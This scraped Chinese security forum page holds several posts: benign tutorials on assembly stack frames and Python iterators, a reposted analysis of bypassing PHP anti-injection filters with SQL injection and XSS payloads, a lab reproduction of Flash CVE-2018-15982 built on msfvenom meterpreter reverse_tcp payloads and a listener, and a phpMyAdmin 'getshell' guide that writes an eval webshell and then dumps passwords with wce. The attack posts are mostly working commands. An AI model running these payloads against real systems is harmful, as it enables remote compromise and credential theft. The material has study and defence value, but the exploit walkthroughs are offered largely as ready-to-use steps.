【转】堆栈和画堆栈图

snow 发表了文章 • 0 个评论 • 76 次浏览 • 6 天前 • 来自相关话题

       根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
       然而,你知道它们具体是怎么进行数据传递和交换的吗?
 
                                                       
                                                              




       我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
 
         那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
         如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
      用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
          
                                                                
                                                                 




                       针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                           
                                                                  




                                     NO.1 首先我们来了解下什么是堆栈
                                                                           
                                                              




                                   根据百度百科的记载,堆栈的定义如下
 
                                         




       顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                   这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                  栈顶:顾名思义,就是栈道的顶部啦~
                           栈底:顾名思义,就是栈道的底部啦~
                                                          
                                




          然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
      举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
             
                                    



                                            
          ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                   
                                                      




               ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                          
                                 




以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                       2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                     3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                      4.从函数中出来以后,栈顶esp+8(恢复栈顶)
 
            进入名为“kong”的函数后,需要执行以下的指令:
                            
                                  
                                     




          ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                       
                                   




  ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                     
                                                                 




                  
  这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
 原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889

  查看全部
       根据咱们学汇编的经验呀,汇编用的最多的是寄存器和内存之间的不断相互传值传地址,井然有序。
       然而,你知道它们具体是怎么进行数据传递和交换的吗?
 
                                                       
                                                              
20180806134611410.jpg


       我们知道寄存器能够保存的数据量不多,所以需要存储大量数据的时候就需要保存到内存里面了。
 
         那么:如果我存了一大堆数据,但是我想知道究竟存了多少数据,要怎么办呢?
         如果我想在这对数据里面抽出某一个数据出来使用,要怎么抽呢?
      用完这些数据是继续保存还是丢弃来呢?丢到哪里去呢?
          
                                                                
                                                                 
20180806135233534.jpg


                       针对以上种种问题,这里有个完美的解决方案—〉堆栈
                                           
                                                                  
20180806135631324.jpg


                                     NO.1 首先我们来了解下什么是堆栈
                                                                           
                                                              
20180806140343536.png


                                   根据百度百科的记载,堆栈的定义如下
 
                                         
20180806140745702.png


       顾名思义,就是在调用程序的时候,电脑会自动开辟一块内存空间专门用来放数据的,然后我们的数据就会想货物一样一个一个往上堆,需要用到的时候就拿出来使用,当程序执行完之后再腾出空间给其他程序继续使用,这个就是堆栈。
                   这里两个概念需要了解下,一个是栈顶,一个是栈底。
                                  栈顶:顾名思义,就是栈道的顶部啦~
                           栈底:顾名思义,就是栈道的底部啦~
                                                          
                                
20180806223937357.jpg


          然后呢,通常我们规定使用寄存器里面的EBP寄存器保存一个地址,作为堆栈的栈底,ESP寄存器保存一个地址,作为堆栈的栈顶,用EAX寄存器来保存需要输出的数据。    
      举个例子,可以看到,有个寄存器EBP和ESP所保存的地址如下                        
             
                                    
20180809115839293.png

                                            
          ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓所以它们在堆栈中是这样的↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓  
                                                                                   
                                                      
20180809123200158.png


               ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓现在要实现以下功能↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓
                          
                                 
20180809123840740.png


以上的指令含义分别为:1.将立即数“2”压进栈道里,并且栈顶提升4个字节
                                                       2.将立即数“1”压进栈道里,并且栈顶提升4个字节
                                                     3.进入名为“kong”的函数,把地址“0040100F”保存到EIP寄存器     里,并且把00401070(0040106c+0x4)压进栈道,并且栈顶提升4个字节
                                                      4.从函数中出来以后,栈顶esp+8(恢复栈顶)
 
            进入名为“kong”的函数后,需要执行以下的指令:
                            
                                  
                                     
20180809130300994.png


          ↓↓↓↓↓↓↓↓↓↓所以,“准备工作”堆栈图如下↓↓↓↓↓↓↓↓↓↓
                                                       
                                   
20180809133644233.png


  ↓↓↓↓↓↓↓↓↓↓然后,执行完程序之后,堆栈的收尾工作如下↓↓↓↓↓↓↓↓↓↓
                                                                                     
                                                                 
20180809135205265.png


                  
  这篇文章将汇编的堆栈讲的非常详细,对我有非常大的帮助。
 原博地址:https://blog.csdn.net/qq_41884002/article/details/81452889

 

迭代器简介

jizi_smile 发表了文章 • 0 个评论 • 60 次浏览 • 2019-03-10 21:47 • 来自相关话题

一.什么是迭代器
所谓迭代器是一种概念上的抽象:那些行为上像迭代器的东西都可以叫做迭代器(摘自百度百科)
个人理解:用迭代实现的方法就是迭代器 
什么是迭代:迭代是重复反馈过程的活动,其目的通常是为了逼近所需目标或结果。每一次对过程的重复称为一次“迭代”,而每一次迭代得到的结果会作为下一次迭代的初始值。
重复执行一系列运算步骤,从前面的量依次求出后面的量的过程。此过程的每一次结果,都是由对前一次所得结果施行相同的运算步骤得到的。例如利用迭代法*求某一数学问题的解。
对计算机特定程序中需要反复执行的子程序*(一组指令),进行一次重复,即重复执行程序中的循环,直到满足某条件为止,亦称为迭代。
为了帮助理解:https://blog.csdn.net/Python_Number/article/details/82560779



个人理解:迭代是广义上的遍历,并与递归有相通之处
关于迭代和递归区别:https://www.cnblogs.com/zhizhan/p/4892886.html




迭代器作用:
      迭代器是访问集合内元素的一种方式。迭代器对象从集合的第一个元素开始访问,直到所有的元素都被访问一遍后结束。

迭代器不能回退,只能往前进行迭代。这并不是什么很大的缺点,因为人们几乎不需要在迭代途中进行回退操作。

迭代器也不是线程安全的,在多线程环境中对可变集合使用迭代器是一个危险的操作。但如果小心谨慎,或者干脆贯彻函数式思想坚持使用不可变的集合,那这也不是什么大问题。

对于原生支持随机访问的数据结构(如tuple、list),迭代器和经典for循环的索引访问相比并无优势,反而丢失了索引值(可以使用内建函数enumerate()找回这个索引值,这是后话)。但对于无法随机访问的数据结构(比如set)而言,迭代器是唯一的访问元素的方式。为什么用迭代器:for i in range(1000): pass会导致生成一个 1000 个元素的 List,而代码:for i in xrange(1000): pass则不会生成一个 1000 个元素的 List,而是在每次迭代中返回下一个数值,内存空间占用很小。(这里只简单显示迭代器与普通遍历区别详情请看:https://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/)
迭代器节省内存原因:迭代器的另一个优点就是它不要求你事先准备好整个迭代过程中所有的元素。迭代器仅仅在迭代至某个元素时才计算该元素,而在这之前或之后,元素可以不存在或者被销毁。这个特点使得它特别适合用于遍历一些巨大的或是无限的集合,比如几个G的文件,或是斐波那契数列等等。这个特点被称为延迟计算或惰性求值(Lazy evaluation)。(摘自:https://www.cnblogs.com/sunnyjiangjie/p/4097301.html)
  查看全部
一.什么是迭代器
所谓迭代器是一种概念上的抽象:那些行为上像迭代器的东西都可以叫做迭代器(摘自百度百科)
个人理解:用迭代实现的方法就是迭代器 
什么是迭代:
迭代是重复反馈过程的活动,其目的通常是为了逼近所需目标或结果。每一次对过程的重复称为一次“迭代”,而每一次迭代得到的结果会作为下一次迭代的初始值。
重复执行一系列运算步骤,从前面的量依次求出后面的量的过程。此过程的每一次结果,都是由对前一次所得结果施行相同的运算步骤得到的。例如利用迭代法*求某一数学问题的解。
对计算机特定程序中需要反复执行的子程序*(一组指令),进行一次重复,即重复执行程序中的循环,直到满足某条件为止,亦称为迭代。

为了帮助理解:https://blog.csdn.net/Python_Number/article/details/82560779
捕获.PNG
个人理解:迭代是广义上的遍历,并与递归有相通之处
关于迭代和递归区别:https://www.cnblogs.com/zhizhan/p/4892886.html
1.PNG

迭代器作用:
      
迭代器是访问集合内元素的一种方式。迭代器对象从集合的第一个元素开始访问,直到所有的元素都被访问一遍后结束。

迭代器不能回退,只能往前进行迭代。这并不是什么很大的缺点,因为人们几乎不需要在迭代途中进行回退操作。

迭代器也不是线程安全的,在多线程环境中对可变集合使用迭代器是一个危险的操作。但如果小心谨慎,或者干脆贯彻函数式思想坚持使用不可变的集合,那这也不是什么大问题。

对于原生支持随机访问的数据结构(如tuple、list),迭代器和经典for循环的索引访问相比并无优势,反而丢失了索引值(可以使用内建函数enumerate()找回这个索引值,这是后话)。但对于无法随机访问的数据结构(比如set)而言,迭代器是唯一的访问元素的方式。
为什么用迭代器:
for i in range(1000): pass
会导致生成一个 1000 个元素的 List,而代码:
for i in xrange(1000): pass
则不会生成一个 1000 个元素的 List,而是在每次迭代中返回下一个数值,内存空间占用很小。(这里只简单显示迭代器与普通遍历区别详情请看:https://www.ibm.com/developerworks/cn/opensource/os-cn-python-yield/
迭代器节省内存原因:
迭代器的另一个优点就是它不要求你事先准备好整个迭代过程中所有的元素。迭代器仅仅在迭代至某个元素时才计算该元素,而在这之前或之后,元素可以不存在或者被销毁。这个特点使得它特别适合用于遍历一些巨大的或是无限的集合,比如几个G的文件,或是斐波那契数列等等。这个特点被称为延迟计算或惰性求值(Lazy evaluation)。
(摘自:https://www.cnblogs.com/sunnyjiangjie/p/4097301.html
 

PHP代码层防护与绕过

PHPflaray 发表了文章 • 0 个评论 • 82 次浏览 • 2019-02-26 13:31 • 来自相关话题

转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0aid=1 union%23%0aseleCT 1,2,3,4 from users
 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass 查看全部
转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0a
id=1 union%23%0aseleCT 1,2,3,4 from users

 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass

Adobe Flash漏洞CVE-2018-15982复现

wuyou 发表了文章 • 1 个评论 • 202 次浏览 • 2019-02-16 19:10 • 来自相关话题

今早发现我上次发的CVE-2017-11882在很早前zksmile就发过了,所以想发一篇社区里没的,关于Office的漏洞目前有很多,比较常见的还是CVE-2017-11882和CVE-2018-0802的结合,所以我就挑了一个Adobe Flash的漏洞来写一写。
这里有在网上找到的对这个漏洞的一些描述:
2018年11月29日,360高级威胁应对团队在全球范围内第一时间发现一起针对俄罗斯的APT攻击行动,通过一份俄文内容的医院员工问卷文档,携带最新的Flash 0day漏洞和具有自毁功能的专属木马程序,该漏洞(CVE-2018-15982)允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码,从而获取对系统命令行的访问权限。
漏洞影响版本:
Adobe Flash Player <= 31.0.0.153
Adobe Flash Player Installer<= 31.0.0.108
不受影响的版本:
Adobe Flash Player 32.0.0.101
Adobe Flash Player Installer 31.0.0.122
PS:在控制面板的程序和功能里找自己的Flash的版本号





实验环境:
Kail 2.0
Windows 7 + Flash 28(做完CVE-2018-4878剩下的环境)
POC: https://github.com/B1eed/VulRec/tree/master/CVE-2018-15982​

漏洞验证:
1、创建payload程序
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 64.bin
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 86.bin

2、生成文件视频文件和网页
python CVE-2018-15982.py -i 86.bin -I 64.bin -o exploit.swf



 

3、开启Apache服务,并把生成的文件放入Web目录中
 service apache2 start
cp index.html /var/www/html/index.html
cp exploit.swf /var/www/html/exploit.swf

4、开始监听
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.190.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

5、在靶机打开网页
http ://192.168.190.134/index.html




这时渗透机已经成功获取到Session了!




 
 结语:
这个漏洞算是个比较新的漏洞了,而且利用过程也是非常的简单,所以大家还是赶紧看一下自己的Flash是否该更新了。
  查看全部
今早发现我上次发的CVE-2017-11882在很早前zksmile就发过了,所以想发一篇社区里没的,关于Office的漏洞目前有很多,比较常见的还是CVE-2017-11882和CVE-2018-0802的结合,所以我就挑了一个Adobe Flash的漏洞来写一写。
这里有在网上找到的对这个漏洞的一些描述:
2018年11月29日,360高级威胁应对团队在全球范围内第一时间发现一起针对俄罗斯的APT攻击行动,通过一份俄文内容的医院员工问卷文档,携带最新的Flash 0day漏洞和具有自毁功能的专属木马程序,该漏洞(CVE-2018-15982)允许攻击者恶意制作的Flash对象在受害者的计算机上执行代码,从而获取对系统命令行的访问权限。
漏洞影响版本:
Adobe Flash Player <= 31.0.0.153
Adobe Flash Player Installer<= 31.0.0.108
不受影响的版本:
Adobe Flash Player 32.0.0.101
Adobe Flash Player Installer 31.0.0.122
PS:在控制面板的程序和功能里找自己的Flash的版本号
fn5.png


实验环境:
Kail 2.0
Windows 7 + Flash 28(做完CVE-2018-4878剩下的环境)
POC: https://github.com/B1eed/VulRec/tree/master/CVE-2018-15982

漏洞验证:
1、创建payload程序
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 64.bin
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.134 LPORT=4444 -f raw > 86.bin

2、生成文件视频文件和网页
python CVE-2018-15982.py -i 86.bin -I 64.bin -o exploit.swf
fn3.png
 


3、开启Apache服务,并把生成的文件放入Web目录中
 service apache2 start
cp index.html /var/www/html/index.html
cp exploit.swf /var/www/html/exploit.swf

4、开始监听
msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.190.134
msf exploit(handler) > set lport 4444
msf exploit(handler) > exploit

5、在靶机打开网页
http ://192.168.190.134/index.html
fn.png

这时渗透机已经成功获取到Session了!
fn2.png

 
 结语:
这个漏洞算是个比较新的漏洞了,而且利用过程也是非常的简单,所以大家还是赶紧看一下自己的Flash是否该更新了。
 

phpmyadmin getshell姿势(转)

PHPjizi_smile 发表了文章 • 2 个评论 • 177 次浏览 • 2019-01-13 21:19 • 来自相关话题

phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是select into outfile写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';[/code]
当你尝试执行select into outfile时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";

如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。general log file 指的是日志的保存路径。[code]SHOW VARIABLES LIKE 'general%'[/code]
由图可知general_log默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在c:\wamp64\bin\mysql\mysql5.7.14\data\的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';
打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
